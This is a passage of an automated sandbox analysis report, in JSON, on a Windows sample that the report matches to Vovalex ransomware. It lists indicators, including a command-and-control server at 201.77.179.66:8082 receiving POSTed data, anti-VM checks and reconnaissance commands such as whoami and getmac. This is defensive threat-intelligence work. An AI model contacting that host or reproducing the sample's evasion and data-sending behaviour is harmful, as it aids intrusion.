binary/memory","description":"Heuristic match: \"std.digest.md\"\n Heuristic match: \"std.regex.internal.ir\"\n Pattern match: \"http://www.w3.org/2001/XMLSchema-instance\"\n Pattern match: \"http://201.77.179.66:8082/img/lndex.php\"\n Pattern match: \"http://201.77.179.66:8082/img/images/header/149C156F2F3AFE90.gif\"\n Pattern match: \"https://www.openssl.org/\"\n Pattern match: \"http://201.77.179.66:8082/img/images/header/149C156F2F3AFE90.gifm-data\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$39","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=finance HTTP/1.1Connection: Keep-Alive\n User-Agent: Microsoft-WNS/10.0\n Host: assets.msn.com\n\n GET /service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=sports HTTP/1.1Connection: Keep-Alive\n User-Agent: Microsoft-WNS/10.0\n Host: assets.msn.com","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad\n Observed JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c\n Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Network Related","name":"References OpenSSL library string","description":"Observed string: \"OpenSSL 1.1.1n 15 Mar 2022\" (Indicator: \"OpenSSL 1.\")","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-5003","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Network Related","name":"References server/domain address with port number","description":"Found ip/domain with port number \"http://201.77.179.66:8082\"","origin":"Indicator Combinations","mitre_attack_id":"T1571","id":"summary-25","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://assets.msn.com/service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=finance\n Found HTTPS GET request to https://assets.msn.com/service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=sports","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES Encryption","description":"YARA signature for AES encryption matched on process \"00000000-00000308\"\n YARA signature for AES encryption matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"getmac.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"GetProcAddress(hAdvapi32 , \"RegDeleteKeyExW\")\" (Indicator: \"GetProcAddress\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp\")\n Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname error\" (Indicator: \"getsockname\"; Source: \"00000000-00000308.00000000.66577.C33CF000.00000002.mdmp\")\n Found reference to API \"getsockname truncated address\" (Indicator: \"getsockname\"; Source: \"00000000-00000308.00000000.66577.C33CF000.00000002.mdmp\")\n Found reference to API \"getsockname\" (Indicator: \"getsockname\"; Source: \"00000000-00000308.00000000.66577.C33CF000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; Source: \"00000000-00000308.00000001.68500.C34A7000.00000002.mdmp\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00000308.00000001.68500.C34A7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$40","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: 9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"whoami.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004116)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$41","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"Found reference to API \"RegDeleteKeyExW\" (Indicator: \"RegDeleteKey\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"RegDeleteKeyW\" (Indicator: \"RegDeleteKey\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"RegDeleteValueW\" (Indicator: \"RegDeleteValue\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"GetProcAddress(hAdvapi32 , \"RegDeleteKeyExW\")\" (Indicator: \"RegDeleteKey\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"RegDeleteKeyExW\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")\n Found reference to API \"RegDeleteKeyW\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")\n Found reference to API \"RegDeleteValueW\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"System Security","name":"Contains ability to format disks","description":"Found string \"format error\" (Indicator: \"format \"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")","origin":"File/Memory","mitre_attack_id":"T1561.001","relevance":1,"id":"string-407","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown while in init\" (Indicator: \"shutdown \") in Source: 00000000-00000308.00000002.70418.C6C05000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")\n Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"$42","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$43","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Possibly checks for known debuggers/analysis tools","description":"Found string \"dbghelp.dll\" (Indicator: \"dbghelp.dll\"; File: \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\")\n Found string \":\\WINDOWS\\SYSTEM32\\dbghelp.dll\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00000308.00000000.66577.9FC50000.00000004.mdmp, 00000000-00000308.00000001.68500.9FC50000.00000004.mdmp, 00000000-00000308.00000002.70418.9FC50000.00000004.mdmp\")\n Found string \"dbghelp.dll\" (Indicator: \"dbghelp.dll\"; Source: \"00000000-00000308.00000001.68500.2AB58000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":2,"id":"string-5","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques using MAC address detection","description":"\"00-50-56-91-6F-37 \\Device\\Tcpip_{D03DB0C1-2729-4674-A875-8625DD784300}\" (Indicator: \"00-50-56\")\n \"P00-50-56-91-6F-37 \\Device\\Tcpip_{D03DB0C1-2729-4674-A875-8625DD784300}\" (Indicator: \"00-50-56\")\n \"O00-50-56-91-6F-37 \\Device\\Tcpip_{D03DB0C1-2729-4674-A875-8625DD784300}\" (Indicator: \"00-50-56\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":10,"id":"string-2","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"48/72 Antivirus vendors marked sample as malicious (66% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$44","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains indicators of bot communication commands","description":"Found string \"cmd=\" (Indicator: \"cmd=\"; Source: \"00000000-00000308.00000002.70418.C6C05000.00000002.mdmp\")\n Found string \", cmd=\" (Indicator: \"cmd=\"; Source: \"00000000-00000308.00000002.70418.C6C05000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1041","relevance":3,"id":"string-29","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"suspicious","category":"System Security","name":"Writes registry keys","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"3EFF058F312DDA0100000000000000000000000002000000\")\n \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"^JR\")\n \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"EBB9E38F312DDA0100000000000000000000000002000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegCreateKeyExW\n RegDeleteValueW\n RegCloseKey\n RegOpenKeyExW\n RegEnumKeyExW\n RegDeleteKeyW\n RegOpenKeyW\n GetFileAttributesW\n GetThreadContext\n WriteFile\n GetModuleFileNameW\n IsDebuggerPresent\n UnhandledExceptionFilter\n LoadLibraryExW\n CreateThread\n ExitThread\n TerminateProcess\n GetModuleHandleExW\n LoadLibraryW\n LoadLibraryA\n GetFileSize\n GetStartupInfoW\n CreateDirectoryW\n GetProcAddress\n GetFileSizeEx\n FindNextFileW\n FindFirstFileW\n FindFirstFileExW\n CreateFileW\n GetSystemInfo\n GetCommandLineW\n GetCommandLineA\n GetModuleHandleA\n GetModuleHandleW\n GetFileAttributesExW\n CreateProcessW\n Sleep\n VirtualAlloc\n accept\n WSAStartup\n connect\n recv\n send\n listen\n closesocket\n socket\n bind\n recvfrom\n sendto","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"PE file contains unusual section name","description":"\"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\" has a section named \"._deh\"\n \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\" has a section named \".minfo\"\n \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\" has a section named \".dp\"\n \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\" has a section named \".tp\"\n \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a\" has a section named \"_RDATA\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-60","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"malicious","category":"Environment Awareness","name":"The input sample contains a known anti-VM trick","description":"Found VM detection artifact \"CPUID trick\" in \"sample.bin\" (Offset: 1782472)","origin":"Binary File","mitre_attack_id":"T1497","relevance":5,"id":"binary-8","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"48/72 Antivirus vendors marked sample as malicious (66% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"malicious","category":"Network Related","name":"Found unknown user-agent(s)","description":"Found the following user-agents: dlang-requests","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-56","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 201.77.179.66 on port 8082","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"MALWARE_Win_Vovalex\" matched file \"sample.bin\" as \"Detects Vovalex ransomware\" (Author: ditekSHen)","origin":"YARA Signature","relevance":10,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a.exe\" (UID: 00000000-00000308)\n Spawned process \"cmd.exe\" with commandline \"/C \"ver\"\" (UID: 00000000-00005596)\n Spawned process \"cmd.exe\" with commandline \"/C \"whoami\"\" (UID: 00000000-00006344)\n Spawned process \"whoami.exe\" (UID: 00000000-00004116)\n Spawned process \"cmd.exe\" with commandline \"/C \"getmac\"\" (UID: 00000000-00006676)\n Spawned process \"getmac.exe\" (UID: 00000000-00003540)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Queries process information"},{"detail":"Queries the logged on user, group or privileges using Whoami"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Executes WMI queries known to be used for VM detection"},{"detail":"The input sample contains a known anti-VM trick"},{"detail":"Possibly tries to implement anti-virtualization techniques using MAC address detection"}],"sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]}]},"activity":{"stats":{"process_count":6,"spawned_processes_count":6,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":2,"imported_dlls_count":58,"dropped_files_count":0,"extracted_files_count":1,"files_written_count":1,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":1,"dns_resolutions_count":0,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["evasive"],"sample_flags":["Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6578435b7d5a1c66f00dcd1e","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Variant.Lazy","contacted_countries":["BRA"],"submit_name":"9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a","analysis_start_time":"2023-12-12T11:26:20+00:00","indicators_count":{"informative":129,"suspicious":27,"malicious":8},"tags":["Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"201.77.179.66","port":8082,"protocol":"TCP","country":"Brazil","sources":[{"report_type":"sandbox","report_id":"6578435b7d5a1c66f00dcd1e"}]}],"dns_resolutions":null,"http_requests":[{"host":"201.77.179.66","host_ip":"201.77.179.66:8082","url":"/img/lndex.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /img/lndex.php HTTP/1.1\nUser-Agent: dlang-requests\nContent-Length: 254\nHost: 201.77.179.66:8082\nConnection: Keep-Alive\nContent-Type: multipart/form-data; boundary=85bf4868-0af8-482c-8ab9-62321542d77f\nAccept-Encoding: 